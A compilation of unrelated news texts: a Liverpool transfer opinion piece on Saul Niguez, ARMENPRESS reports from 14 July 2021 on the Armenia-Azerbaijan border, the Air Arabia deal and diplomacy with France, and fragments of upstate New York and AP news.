When Emre Can left on a Bosman free transfer to join Juventus, (after the Champions League final loss to Madrid), there was uncertainty as to his replacement. Emre Can was not everyones cup of tea, strangely, but there was still the need to replace his presence and dominance in midfield. What happened next surprised and delighted the eager fan base, with the sudden notification that Brazils Fabinho was signing. No clue, no ITKs and no delay was present as the news broke just prior to his confirmation. To say this was an upgrade would be understating what Fabinho has done since his arrival. Liverpool had not had a specialist world class (or even elite) holding midfielder since the magnificent Javier Mascherano departed, and it was a clear requirement.

Gini Wijnaldum leaving represents a similar scenario, in that both departing players were key and trusted pieces in Klopps Liverpool system. In order to replace or even evolve the position, it was never going to be a teenager that was signed (certainly with Curtis Jones in the ranks). With Ibrahima Konate signing to take on a first team role, the inexperience being integrated into the side could not be repeated in such a pivotal middle role that Gini held. A near elite or world class player was needed, that could be recruited in the Michael Edwards way. With news circulating around a certain Spaniard, that could be just about to happen.

Saul Niguez (the Spanish international that was amazingly left out of this summers squad), could be the answer to Klopps immediate wants. A truly astonishing change of events saw Saul out of the team, more than he was in last season at Atletico Madrid. The need for a player of his attributes in this Liverpool side, could lead to a fantastic blend of power and talent in midfield. Where Diego Simeone has evidently fallen out with Saul, so Liverpool & Klopp could benefit.

At a price reported to range from 40-50 million, this acquisition would represent signing a player (at 26) about to enter his prime years. His box to box ability, controlling style and aggressive play would fit right into what Klopp needs. Where Gini was moulded (very successfully), from a wide attacking player to a whatever is needed central midfielder, Saul would come in ticking all those boxes. In addition to being ultra versatile (Saul is a top tier player that can operate anywhere across the midfield), he can also give a balance alongside Fabinho & Thiago on the flank of a midfield three. His left foot is explosive and would add more goals from midfield, his ability to effortlessly drop into CDM would offer ample cover to Fabinho. The other telling factor, hes nearly always available, something Gini gave in a tremendous spell as a red. The list of pros against cons is very one sided, and nothing about the deal is worrying. Saul Niguez is a fantastic central midfielder, and if theres a chance to get the deal done, it must be pursued with aggression.

With Renato Sanches, Florian Neuhaus, Eduardo Camavinga and Nicolo Barella listed as the most likely candidates, there appears to be a midfielder in coming. If Saul were to sign, Liverpool would be registering the most qualified of them all, with an ability to cement himself as world class under Jurgen Klopp. The price for the above players would most probably not drop below Sauls supposed price tag, and some may well fetch double if others starting becoming interested. With Saul Niguez, Liverpool may well have a free run and opportunity to get this deal done and dusted. The signing is in no way a certainty, but to imagine a Klopp team with a prime Saul, is simply scintillating.

Konate is done, and if Saul gets done, that would leave a move for a forward, potentially the talented and versatile Donyell Malen.

If nothing else were to transpire (with regards to incoming transfers), then the signing of two starting players (Konate & Saul), that could well reach the world class levels that others have under Klopp, would be sublime. If another depth piece were to be added up top, in the shape of Malen, then one thing will transpire with this angry & determined Liverpool squad.

They will break the league.
YEREVAN, JULY 14, ARMENPRESS. Russian military expert Ivan Konovalov, head of the Moscow-based Center for Strategic Trends Studies, says as long as the situation on the Armenian-Azerbaijani border of the past two months is described as a border conflict or a border misunderstanding, which didnt lead to large-scale military operations, the issue can be solved through diplomatic means.

The expert gave an interview to ARMENPRESS, commenting also on the withdrawal of US troops from Afghanistan and the new security challenges connected with this, including also for the member states of the Collective Security Treaty Organization (CSTO). According to him, CSTO can play some role in this matter, but this role should be viewed in the military diplomacy field, not in terms of use of direct military force.

-Mr. Konovalov, Taliban militants occupy new territories in Afghanistan after the start of the process of withdrawing the US and NATO troops. In your opinion, why did the US side decide to withdraw the troops from Afghanistan, leaving the country to the terrorist groups, and secondly, what must be the position of Russia and the CSTO on the situation in Afghanistan, taking into account the instability on the border of Tajikistan, which is a CSTO member?

-The withdrawal of US troops from Afghanistan is connected with the decision of the US Administration, who came to the conclusion that their presence in Afghanistan is already nonsense as none of the goals announced 20 years ago has been fulfilled. Trump was also saying this that it is necessary to leave Afghanistan. Currently, this is already a fact as they are leaving. And this is definitely the defeat of the United States because now the situation is such that by the withdrawal of the US side Afghanistan is facing a power vacuum, and that territories are occupied by the Taliban. Moreover, the Islamic State organization, banned in Russia, is operating in Afghanistan. Although the Taliban and the Islamic State have hostile relations. Therefore, after the withdrawal of the US troops the situation will be approximately the following: the territories, which previously have been under the control of the so-called Northern Alliance, will most probably remain under the control of the Taliban. And there again will be a division of the country, and if the US side doesnt assist the current authorities, the Taliban will take Kabul.

In such situation the actions of the Russian Federation are logical. As you know, the delegation of the Taliban visited Russia to find out its approaches. In its turn Russia wants to understand what are the approaches of the Taliban. They have announced that they do not want any problems in Central Asia, which is the most important issue for us.

However, we should not forget that the delegation that visited Russia represents one of the three main groups of the Taliban which do not have so good relations. That delegation was representing the group of the Taliban who are stationed in Qatar. Therefore, they are not so united, and Russia must carefully monitor this situation and see what are the contradictions in order to use it its favor.

Russia must do everything to keep the situation under its control, for that purpose the diplomatic method is being used. At the same time we have to take into account the fact that our 201st powerful military base is stationed in Tajikistan, and our air force military base is located in Kyrgyzstan. This is a very strong fact. Our military base in Tajikistan is the guarantor of the fact that it remains the main player and in case of negative development of the situation it will directly participate in the solution of that situation, including with the method of use of force. Of course, all agreements are in force.

-You mean the Russian troops, not the CSTO intervention?

-You know that the situation is quite complex, and the CSTO member states have a right to decide by themselves to participate in any process or not. Such decisions are adopted in the CSTO by the principle of consensus. But first of all, Tajikistan and Russia have an agreement on mutual help, and secondly, a number of Central Asian countries are a member of the CSTO, who are also concerned over this situation, and if there is a danger they will definitely provide military support for the solution of the issue. Helping Russia to extinguish the fire is also very important for them.

-In this context how would you comment on the recent statement of CSTO Secretary General Stanislav Zas according to which the current situation on the Armenian-Azerbaijani border after the recent illegal incursion of the Azerbaijani armed forces into Armenias territory is not a military aggression against Armenia, but is a border incident?

-In this case the situation is obvious. As long as the situation in Armenia, the South Caucasus is described as a border conflict, a border misunderstanding which didnt lead to large-scale use of force, the problem is possible to solve through diplomatic means. Everything depends from where the red line would pass. In other words, if the situation becomes dangerous, of course, the CSTO will intervene. Here, however, the chief role belongs to Russia. And the possible CSTO role here should be viewed in the military diplomacy field, not in terms of use of a direct military force.

Interview by Aram Sargsyan

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. The Tourism Committee of the Armenian Ministry of Economy, in joint partnership with the German Travel Association (DRV) which has more than 4000 members, will hold DRV Destination Forum in Armenia from August 29 to September 3, the Committee reports.

On the sidelines of the Forum, the Committee will host 70 participants from Germany who represent tourism agencies, media companies, airlines, etc.

The event aims at raising awareness on Armenia as a tourism direction, attracting much more tourists from Germany, as well as strengthening the tourism ties between the two countries.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. Caretaker Prime Minister of Armenia Nikol Pashinyan sent a congratulatory message to President Emmanuel Macron of the French Republic on the National Day of France, Pashinyans Office told Armenpress.

The message reads, in part:

Honorable Mr. President, Dear Emmanuel,

On behalf of the Armenian people and on my own behalf, I hereby extend my most cordial congratulations to you and to the friendly French people on your countrys National Day.

More than two centuries ago the French people rallied around the value axis of freedom, equality and brotherhood, paving the way for the European civilizations victorious march towards the future marked by human rights and democratic values. Today, reaffirming their strong commitment to the same everlasting values, the people of Armenia continues to strengthen democratic institutions and the rule of law in the country.

It is undeniable that as underpinned by common values and a centuries-old friendship, the Armenian-French bilateral relations stand out by their privileged character. The privileged political dialogue between our two countries allows us to successfully cooperate on many programs and issues of mutual interest.

In the context of the tragic events that took place last year, Armenia sincerely appreciates the unbiased position of friendly France and the assistance provided to Armenia and Artsakh. Once again, France and the French people backed us in this difficult historical period.

Armenia highly values you countrys strong commitment, as a Minsk Group co-chair, to brokering a peaceful settlement of the Nagorno-Karabakh conflict. We appreciate Frances efforts to return Armenian prisoners of war from Azerbaijan and safeguard the Armenian cultural heritage in Nagorno-Karabakh.

I look forward to hosting you in Armenia in the near future as part of a state visit.

Dear Mr. President,

On this festive day, which symbolizes the French peoples unity and heroic history, I wish you good health, unbreakable will and ever new achievements in all your undertakings, as well as peace and prosperity  to the French people.
YEREVAN, JULY 14, ARMENPRESS. Armenia has been included in Abu Dhabis Green list, which means that passengers arriving from Armenia will be exempt from mandatory quarantine measures after landing in Abu Dhabi and will only be required to undergo PCR testing upon arrival at the Abu Dhabi airport, the Embassy of Armenia in the United Arab Emirates reports.

Earlier Spain has announced that it opens its borders for Armenian tourists. From July 14 the BLS Spanish visa center will start its operation, and those seeking visa can apply with an advanced registration.

Sweden also made a decision to completely eliminate the entry ban for the citizens of Armenia.

In early July Germany has revised its entry ban restrictions for a number of countries, including Armenia. Citizens, who live in one of these countries, can travel to Germany regardless of the vaccination status.

Greece has also lifted the coronavirus-related restrictions for the citizens of several countries, including Armenia.

As of the latest data, 189 new cases of COVID-19 have been confirmed in Armenia, bringing the total number of confirmed cases to 226,756.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. President of Armenia Armen Sarkissian visited today the Embassy of France in Yerevan to congratulate on the occasion of the National Day, the Presidential Office told Armenpress.

President Sarkissian congratulated Ambassador Jonathan Lacote and in the person of him the friendly people of France on the state holiday, wishing success and constant development.

During the talk President Sarkissian and Ambassador Lacote discussed the development of the Armenian-French unique and warm relations, the prospective directions of cooperation and exchanged views on the post-war situation, the regional affairs.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. An incident occurred in the Yeraskh section of the Armenian-Azerbaijani border at around 10:30, July 14, the Armenian defense ministry told Armenpress.

The Azerbaijani armed forces attempted to carry out fortification works with the use of engineering equipment aimed at advancing their military positions.

After the counter-actions of the Armenian side to stop these works, the Azerbaijani servicemen opened fire towards the Armenian positions. A serviceman of the Armenian armed forces received a fatal gunshot wound as a result of the shootout. The Azerbaijani side also has losses.

The defense ministry of Armenia strongly condemns this provocation of the Azerbaijani side and warns that it will receive a tough response. The military-political leadership of Azerbaijan bears the full responsibility for the further escalation of the situation, the statement says.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. President of Armenia Armen Sarkissian sent a congratulatory letter to President of France Emmanuel Macron on the National Day, the Armenian Presidents Office told Armenpress.

The message reads:

I warmly congratulate you and address my best wishes to you and the good people of France on the occasion of the National Day.

The centuries-old friendship of Armenia and France, the unique relations between our countries, the high-level political dialogue and mutual trust are a huge potential for the further development of the Armenian-French cooperation.

Armenia values Frances consistent efforts and in particular your personal contribution as the leader of the OSCE Minsk Group Co-Chair country in the peaceful settlement process of the Nagorno Karabakh conflict, for the benefit of the establishment of peace and stability in our region.

I hope with joint efforts we will enrich the Armenian-French comprehensive agenda with new ideas and initiatives.

Dear Mr. President,

I am full of hope that in the nearest future we will have a chance to examine concrete cooperation programs which we had discussed at various occasions. I would like to specifically highlight ATOM (Advanced Tomorrow) presidential initiative, food safety, creation of club of small and successful states, the regional economic cooperation between the International Organization of La Francophonie and the Eurasian Economic Union.

I wish you a lot of energy and success, and to the good people of France  progress and welfare.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. Caretaker Prime Minister of Armenia Nikol Pashinyan today introduced new Chairman of the Investigative Committee Argishti Kyaramyan to the Committees Board members and staff, Pashinyans Office told Armenpress.

Pashinyan thanked former chairman of the Committee Hayk Grigoryan for the works done in the past three years. I want to state that I highly value Mr. Grigoryans professional and human characteristics and must note that we have already had a talk, and Mr. Grigoryans potential will be included in the public administration system. We will discuss this issue in the future and will make a decision, Nikol Pashinyan said.

He congratulated Argishti Kyaramyan on appointment to the respective position. After the 2021, June 20 snap parliamentary elections, we are entering into a new stage and the uniqueness of that stage is the following: the citizens of Armenia gave a mandate to the leadership to establish a dictatorship of law and right in Armenia. In these new conditions I expect more effective actions from the Investigative Committee, more decisive and special actions aimed at satisfying the expectations of the people.

Of course, a very important work has been done, but we need to work constantly to ensure the efficiency of preliminary investigation, its course and effective outcomes. I hope this work will be done under the leadership of Mr. Kyaramyan, Pashinyan said, wishing success to the new chairman.

In his turn Argishti Kyaramyan thanked the caretaker PM and the government for trusting this responsible position to him. He also thanked the former chairman for the joint work.

Mr. Prime Minister, I assure you that each task set before the Investigative Committee will be solved quickly, effectively and in accordance with the law, Argishti Kyaramyan said.

Editing and Translating by Aneta Harutyunyan
STEPANAKERT, JULY 14, ARMENPRESS. The Defense Ministry of Artsakh denied the statement of the Azerbaijani defense ministry claiming that the units of the Defense Army have opened fire from machine guns and rifles at the Azerbaijani positions on the outskirts of Shushi on July 13, at around 21:34-21:45.

The Defense Army units, adhering to the agreements reached, continue observing the ceasefire regime and do not take destabilizing actions, the Artsakh Defense Ministry said in a statement.

Earlier today Ombudsman of Artsakh Gegham Stepanyan presented details from the shooting reported near Shushi overnight July 13. I have contacted the competent authorities to find out what had happened. I was informed that shots were fired from firearms into the air, but were no targeted fires. Our Armed Forces have taken appropriate precautionary measures as a result of which the shots by the Azerbaijani side have stopped. At this moment no consequences have been reported according to our examination, he said on Facebook.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. Chief of the General Staff of the Armenian Armed Forces, Lieutenant-General Artak Davtyan received the delegation led by Deputy Chief of the General Staff of the Russian Armed Forces, Colonel-General Sergei Istrakov, the Armenian defense ministry told Armenpress.

The Russian Armed Forces delegation has arrived in Armenia aimed at holding negotiations on the sidelines of the Armenian-Russian bilateral military cooperation.

During the meeting the Armenian and Russian sides discussed the agenda of negotiations and outlined the scale and directions of the upcoming works.

Editing and Translating by Aneta Harutyunyan
STEPANAKERT, JULY 14, ARMENPRESS. The factions of the Parliament of Artsakh have released a statement over the recent visit of foreign ambassadors accredited in Azerbaijan to the occupied territories of Artsakh.

After the recent large-scale war unleashed by Azerbaijani against Artsakh, the hostile actions against the Armenian historical, cultural and spiritual values continue with violations of international law and international humanitarian law in particular. And this not only is not condemned by the international organizations and separate countries, but the opposite is taking place: official Baku spares no effort to involve the representatives of these same organizations and countries into its occupying and inhuman actions.

The organization of the visit of representatives of foreign diplomatic missions accredited in Baku by the Azerbaijani authorities to the occupied territories of the Republic of Artsakh on July 10, as well as the staged videos in Shushi must be viewed on this background.

We strongly condemn such behavior. With this Azerbaijan is trying to form a circle of supporters for implementing its aggressive occupying program against the Republic of Artsakh. During the 44-day War Azerbaijan has occupied most of the territories of Artsakh, including the cultural and spiritual center of the Armenian people, Shushi, with the support of Turkey and international terrorist groups.

The non-condemnation of the Turkish Presidents visit to Shushi by the international community led the Azerbaijani authorities to new provocative actions which was followed by the visit of foreign diplomats accredited in Baku to Shushi. We consider such distortion of historical realities and distortion of the essence of the conflict with such methods as an action directed for undermining the peaceful settlement of the conflict, which grossly violates the fundamental principles of the international law.

Appreciating the rejecting position of the OSCE Minsk Group Co-Chair countries towards this staging, we call for condemning such provocative actions and take steps to de-occupy the territories of Artsakh and enshrine the Artsakh peoples right to live freely, the statement reads.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. Serviceman of the Armenian Armed Forces Samvel Alaverdyan has been killed from the shot fired by the Azerbaijani side in the morning of July 14, the defense ministry of Armenia told Armenpress.

The Defense Ministry of Armenia shares the grief of the loss and extends condolences to the families, relatives and co-servicemen of the killed serviceman, the statement says.

An incident occurred in the Yeraskh section of the Armenian-Azerbaijani border at around 10:30, July 14. The Azerbaijani armed forces attempted to carry out fortification works with the use of engineering equipment aimed at advancing their military positions.

After the counter-actions of the Armenian side to stop these works, the Azerbaijani servicemen opened fire towards the Armenian positions. A serviceman of the Armenian armed forces received a fatal gunshot wound as a result of the shootout. The Azerbaijani side also has losses.

The defense ministry of Armenia strongly condemns this provocation of the Azerbaijani side and warns that it will receive a tough response. The military-political leadership of Azerbaijan bears the full responsibility for the further escalation of the situation, the statement says.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. The Armenian Parliament will convene an extraordinary session on July 15 at the initiative of the government.

The session will kick off at 11:00.

4 legislative initiatives are on the agenda.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. Caretaker Prime Minister of Armenia Nikol Pashinyan received Russian Ambassador to Armenia Sergei Kopyrkin, Pashinyans Office told Armenpress.

Pashinyan stated that the Armenian government attaches great importance to the constant development of the Armenian-Russian allied relations in political, economic, security and humanitarian spheres. He said the two countries have a broad cooperation agenda, and the two governments take dynamic actions to implement it. Pashinyan highlighted the Armenian-Russian strategic cooperation also in the context of overcoming the instable situation in the region and emphasized the key role of Russia in ensuring security.

The Ambassador said the development of allied relations with Armenia is of special importance for Russia, and the proof of this are the active dialogue, contacts and cooperation of the leaders of the two countries, the representatives of the two governments.

During the meeting the officials discussed the agenda of the Armenian-Russian relations, the ongoing regional developments and issues of mutual interest.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. President of Armenia Armen Sarkissian received Chairman of the Board of Directors of UAE-based airline Air Arabia, Sheikh Abdullah Bin Mohamed Al Thani and CEO Adel Abdullah Ali, the Presidential Office told Armenpress.

Being the largest airline in the Middle East and North Africa, Air Arabia and the Armenian National Interests Fund (ANIF) today will sign an agreement on creation of a new Armenian national airline. The first talks on the Armenian-UAE cooperation in air communication have been held in the United Arab Emirates during the meeting of President Armen Sarkissian and the Governor of Sharjah, Sheikh Sultan bin Mohammed Al Qasimi. The President expressed his warm greetings and best wishes to the Governor of Sharjah for assisting to implement the initiatives.

President Sarkissian welcomed the cooperation with a leading international airline and the creation of an Armenian national airline. He highly appreciated the productive work of Armenias caretaker deputy prime minister Tigran Avinyan, Chair of the Civil Aviation Committee Tatevik Revazyan and head of the ANIF Davit Papazyan in this respect.

Armenia is currently facing a very difficult period. We appreciate our friends who are with us especially at this stage and start new cooperation, new project in Armenia. We have warm friendly relations with Arab countries, and your presence in this project is the evidence of this. We expect much more projects and initiatives, the Armenian President told the guests.

Expressing gratitude for the warm welcome, Sheikh Abdullah Bin Mohamed Al Thani said he highly values the Armenian-UAE inter-state relations and President Armen Sarkissians personal efforts for developing those ties. He said both sides are greatly interested in developing the cooperation which served as a base for implementing this new joint project. He expressed confidence that the new air bridge and the creation of the national carrier will be one more reliable step aimed at strengthening the Armenia-UAE commercial and business ties.

It was reported that the Armenian national airline will operate flights next year.

Editing and Translating by Aneta Harutyunyan
YEREVAN, JULY 14, ARMENPRESS. Armenias foreign ministry has issued a statement, condemning the provocative actions of the Azerbaijani side on the border with Armenia as a result of which serviceman of the Armenian Armed Forces Samvel Alaverdyan has been killed.

On July 14 the Azerbaijani armed forces initiated a provocative advancement in the section near Yeraskh community of Armenia as a result of which serviceman Samvel Alaverdyan was fatally shot by a sniper. We extend our deepest condolences and support to the family and relatives of the killed soldier.

These provocative actions, after the recent incursion of the units of the Azerbaijani armed forces into Armenias sovereign territory  Syunik and Gegharkunik provinces, obviously prove that official Baku is trying to create new tension centers, distorting the regional peace and security.

We strongly condemn this encroachment against Armenia, which is also a gross violation of the fundamental principles of the international law.

Such steps by the military-political leadership of Azerbaijan could lead to further escalation of the situation, and the Azerbaijani authorities bear the entire responsibility of its consequences, the statement says.

Editing and Translating by Aneta Harutyunyan
YEREVAN, 14 JULY, ARMENPRESS. The Central Bank of Armenia informs Armenpress that today, 14 July, USD exchange rate is down by 0.55 drams to 495.61 drams. EUR exchange rate is down by 2.98 drams to 584.57 drams. Russian Ruble exchange rate is down by 0.01 drams to 6.69 drams. GBP exchange rate is down by 1.11 drams to 686.27 drams.

The Central Bank has set the following prices for precious metals.

Gold price is up by 310.09 drams to 28902.3 drams. Silver price is up by 2.41 drams to 415.96 drams. Platinum price is down by 19.54 drams to 17607.32 drams.
YEREVAN, JULY 14, ARMENPRESS. Caretaker Prime Minister of Armenia Nikol Pashinyan received Chairman of the Board of Directors of UAE-based airline Air Arabia, Sheikh Abdullah Bin Mohamed Al Thani.

As ARMENPRESS was informed from the Office of the Prime Minister, Nikol Pashinyan highlighted the signing of the agreement on the establishment of a new Armenian national airline between the largest airline in the Middle East and North Africa, Air Arabia and the Armenian National Interests Fund (ANIF). The caretaker PM noted with satisfaction that thanks to the months of close and consistent talks between the Civil Aviation of Armenia, ANIF and Air Arabia, it becomes possible to bring into life that ambitious program. Nikol Pashinyan added that the Government is ready to support the effective operation of the airlines, which will foster the rise of passenger flows, attraction of new investments, development of tourism and providing modern and quality service in the aviation sphere.

The Chairman of the Board of Directors of Air Arabia expressed confidence that the establishment of the Armenian national airline, implementation of flights in new directions will give new impetus to the development of the Armenian aviation market. According to him, they consider Yerevan an interesting opportunity to expand air communication. The airline will operate at special rates for low-cost airlines, providing high quality services.

The Executive Director of the Civil Aviation Committee of Armenia and the Armenian National Interests Fund, the leadership of Air Arabia presented the planned programs and further steps.
YEREVAN, JULY 14, ARMENPRESS. Azerbaijan is the one that creates tensions on the Armenian-Azerbaijani border, ARMENPRESS reports acting Deputy PM Tigran Avinyan told the reporters, noting that searches of culprits elsewhere leads us to the very wrong place.

I record that its the Azerbaijani side who often creates tensions on the border, it is very important that we ourselves understand this, accept it and convince our international partners, Avinyan said, adding that border tensions should be symmetrically responded.

Referring to the existing situation on the Armenian-Azerbaijani border, Avinyan said, Sooner or later delimitation and demarcation should take place with all the neighbors. But grossly violating our border and taking positions inside our borders, trying to force us some activities by the means of blackmail is a non-effective method and it can lead to no results. Such approaches, the method of blackmail cannot be acceptable for the authorities and the people of the Republic of Armenia. Yes, definitely its necessary to sit around the negotiation table, but the first issue to be discussed must be the withdrawal of the Azerbaijani units from the territory of Armenia. Avinyan also expressed conviction that that issue will have a diplomatic solution.
YEREVAN, JULY 14, ARMENPRESS. Caretaker Prime Minister of Armenia Nikol Pashinyan received Ambassador of France Jonathan Lacote.

As ARMENPRESS was informed from the Office of the Prime Minister, Nikol Pashinyan congratulated the Ambassador on the National Day of France, and noted that the developments that took place two centuries ago are very important not only for France, but the entire modern humankind. According to Nikol Pashinyan, as a result of the revolution in France new form of relations were established in the world. ''I am happy to record that the relations between our countries have traditionally been at a high level. In the near future we expect the visit of French President Emmanuel Macron to our country, which will foster the future development and strengthening of the Armenian-French multidimensional relations.', Nikol Pashinyan said, adding that he keeps in constant touch with President Macron. Pashinyan emphasized that Armenia highly appreciates the efforts of France in the sidelines of the OSCE Minsk Group Co-chairs and for the strengthening of stability in the region.

Ambassador Lacote thanked for the congratulatory words, adding that the revolution of Armenia in 2018 also created a new reality in Armenia of strengthening the democratic values. The Ambassador congratulated the caretaker Prime Minister and the citizens of Armenia for the high-level early parliamentary elections on June 20, noting that by those elections Armenia issues a firm democratic message and opened a new path for cooperation in the international arena, including France.

Jonathan Lacote added that active works are underway for organizing the visit of Emmanuel Macron to Armenia, which can give a new impetus to the development of the Armenian-French relations and implementation of joint projects in various spheres. The Ambassador emphasized that France is interested in the development of relations with Armenia in the spheres of energy, high technologies, industry, education and so on.

Nikol Pashinyan and Jonathan Lacote referred to the regional developments.

The French Ambassador noted that they attentively monitor the developments and the French side will continue the consistent efforts for the benefit of stability, restoration of negotiations and OSCE Minsk Group activities. The Ambassador emphasized that Nagorno Karabakh conflict is not settled and it will be possible to reach a final settlement only after the clarification of the status of Nagorno Karabakh. At the same time the Ambassador offered condolences over the death of an Armenian servicemen, killed by Azerbaijani fire in Yeraskh direction, assessing such activities and violation of the ceasefire as unacceptable.

Nikol Pashinyan added that Azerbaijan is doing everything to provoke instability in the region, as evidenced by the statements with continuous aggressive rhetoric at the highest level. The caretaker Prime Minister highlighted the adequate respond to the ongoing actions by the international community and taking necessary measures.
YEREVAN, JULY 14, ARMENPRESS. The agreement signed between the Armenian National Interests Fund (ANIF) and Air Arabia airlines is an important step on the path to the establishment of national airlines, ARMENPRESS reports acting Deputy Prime Minister of Armenia Tigran Avinyan said today at ''Zvartnots'' airport.

''This is an investment program of strategic importance and creates great opportunities for the development of aviation in Armenia'', Tigran Avinyan said.

Acting Deputy Prime Minister of Armenia Tigran Avinyan and Chairman of the Board of Directors of UAEs national airline Air Arabia, Sheikh Abdullah Bin Mohamed Al Thani, took part in the signing ceremony of the agreement on the establishment of a new Armenian national airline.

According to Tigran Avinyan, an independent joint company will be established by the agreement, which will be based at Zvartnots Airport.

According to him, the new national airline, as a low-cost airline, will foster the development of tourism and other interconnected sectors, while the cooperation with Air Arabia, one of the most financially efficient airlines in the world and the largest in the Middle East and North Africa, makes the program more attractive.

The creation of a new national airline will expand the opportunities of the citizens of Armenia for affordable and quality air travels. I am sure that this will be a successful project, the results of which will be visible in a very short period, the acting Deputy PM said.

Tatevik Revazyan, Chairman of the Civil Aviation Committee of Armenia, noted with great joy that Armenia will finally have a national low cost airline, emphasizing that the national airline is created by the best aviation specialists in the world.

According to Revazyan, it is difficult to create a successful airline, as this sphere is very competitive. That's why they have hired the best professionals who share their vision.

To the question of a reporter about the share of the Armenian side, ANIF Director Davit Papazyan said that the Armenian side will have over 50% of the shares, but Air Arabia will be the decision maker.
Several nonprofit organizations will be on hand, including Baltimore Woods Nature Center, the Skaneateles Festival, Skaneateles Lake Association, Skaneateles Foundation, Central New York Land Trust, Americans Serving Abroad Project and the John D. Barrow Art Gallery, which will sell giclee prints, ready-to-hang canvas wraps, candles and notecards. The gallery will be open extended hours, 11 a.m. to 5 p.m., throughout the event.

The Jackman Twins, who perform magic, juggling and balloon art, will entertain from noon to 4 p.m. Thursday, noon to 3 p.m. Friday and 10 a.m. to 4 p.m. Saturday.

Sightseeing cruises will be offered each day by Mid-Lakes Navigation. For schedule updates, go to midlakesnav.com. Tickets can be ordered online, by calling (315) 685-8500 or in person at 3 W. Genesee St.

While youre in town, check out the Skaneateles Librarys summer book sale, running from 9 a.m. to 8 p.m. Friday and 9 a.m. to 6 p.m. Saturday at the village hall truck bays, 26 Fennell St. (The sale continues from noon to 4 p.m. Sunday, with a bag sale from noon to 4 p.m. Saturday and Sunday, July 24 and 25.)
"Love is patient," it reads. "Love is kind."

After looking into some other options, Colossians 3:12-14, seemed like a good fit, closing with, "... over all these virtues put on love, which binds them all together in perfect unity."

I compiled my notes into a Google doc, made a print and packed it in a red folder for my flight to South Florida.

When I arrived at the Postcard Inn Beach Resort and Marina in Islamorada, where the wedding was to take place on the beach, I got even more excited. And nervous. I was confident I would do OK, but I wanted to crush it and validate the faith Ryan and Nat had placed in me.

The wedding planner, Elizabeth Seligman, gave me some valuable tips, such as when to ask everyone to rise and when to sit.

"When you say, 'You may now kiss the bride,' get out of the way so you're not in the picture," she said.

Got it.

I hope.

I feared forgetting to walk away and spoiling the image.

As Ryan and Natalie gathered with a little more than 100 family members and friends on a sun-splashed afternoon, I prayed that my preparation matched the magnitude of the moment.
AUBURN  Bishop Salvatore Matano came to St. Francis of Assisi Church on Tuesday evening to listen to the Catholic parishioners of the city about the potential closure of churches in the area.

But, as Matano told the audience of 150 toward the end of the evening, he hopes that they listened to him, too.

Matano visited the Auburn church as the Roman Catholic Diocese of Rochester considers the recommendations of a local committee to close four churches in the area due to declining attendance and priest availability, deteriorating building conditions and other factors: St. Alphonsus, St. Francis of Assisi and Holy Family churches in Auburn, and St. Joseph Church in Weedsport.

The bishop will hold another listening session at 6:30 p.m. Thursday, July 15, at Holy Family on 75 North St.

Along with Matano, about 15 members of the audience spoke at the meeting. Some objected to the closures outright, or asked the bishop to delay the process. Some argued for the saving of specific churches, or the closing of others in the area instead. And some pressed the bishop for more details on the process, and the reasons the diocese began it in the first place.
"While some of our colleagues in the state Legislature have attempted to recast your decision in an ideological context to advance their own political agendas, rest assured that the decision to add Chick-fil-A has broad public support and has generated excitement among both our constituents and Thruway travelers," the Republican Assembly members wrote.

The Thruway Authority awarded the contract to Empire State Thruway Partners to upgrade 27 service areas along interstates 90 and 87. All but four of the facilities will be demolished and rebuilt.

Once completed, the rest stops will feature new amenities and food options. The Thruway Authority announced last week that in addition to Chick-fil-A, Panda Express, Panera, Popeyes and Shake Shack will join the restaurant lineup that already includes Burger King, Dunkin' Donuts and Starbucks.

Jonathan Dougherty, a spokesperson for the Thruway Authority, explained Monday that Empire State Thruway Partners finalized agreements with Chick-fil-A and other restaurant chains to operate at the new service areas. No state tax or Thruway toll funds are being used to support the project.
Every child is born with great potential, and its inspiration that unlocks that potential," he said. "My love affair with science, invention and space did that for me, and I hope this gift does that for others.

The Air and Space Museum on the National Mall has been undergoing major renovations since 2018. It remains closed and is scheduled to reopen on July 30.

At this moment, the first human to set foot on Mars might be in elementary school, said Ellen Stofan, the Smithsonians under secretary for science and research and former director of the National Air and Space Museum. As the largest and most visited aerospace museum in the world, the museum wants to spark that passion and enrich the imagination and ingenuity of every student who visits the Smithsonian.

Bezos stepped down as Amazon CEO this month. In a blog post to employees earlier this year, Bezos said he planned to devote more time to side projects, including Blue Origin, his philanthropic initiatives and overseeing The Washington Post, which he owns.

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.

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AUGUSTA, Maine (AP)  A bill that that aimed to eliminate Maines privately owned electric utilities by buying them out and replacing them with a consumer-owned utility was vetoed Tuesday by Democratic Gov. Janet Mills, likely spelling the end of the proposal this legislative session.

Mills acknowledged that performance of Central Maine Power and Versant Power has been abysmal" but said the proposal to send them packing  with voters getting the final say  was deeply flawed and hastily drafted and hastily amended.

I certainly agree that change is necessary. No question about that. And I remain open to considering alternative proposals, she said.

The bills chief sponsor, Rep. Seth Berry, D-Bowdoinham, disputed the governors characterization of the proposal, arguing that it was thoroughly vetted over the past three years.

And it isn't going away. A coalition will be launching a referendum drive to put the proposal before voters anyway next year, instead of this fall.

Supporters said its time to replace Central Maine Power and Versant Power, which are owned by corporations in Spain and Canada, with an entity that works in the interest of Mainers instead of shareholders.
ALBANY  A doctor who worked for New York's corrections system and took issue with a crackdown on prescription drug abuse is suing the agency, saying he was forced to quit and faced harassment for seeking appropriate care for his patients.

At issue is a policy shift the system made five years ago to increase oversight at a time of heightened concern regarding overprescribing painkillers in prisons. Some critics including the plaintiff, physician Michael Salvana, argue the new restrictions have left patients with conditions from multiple sclerosis to spinal injuries suffering needlessly.

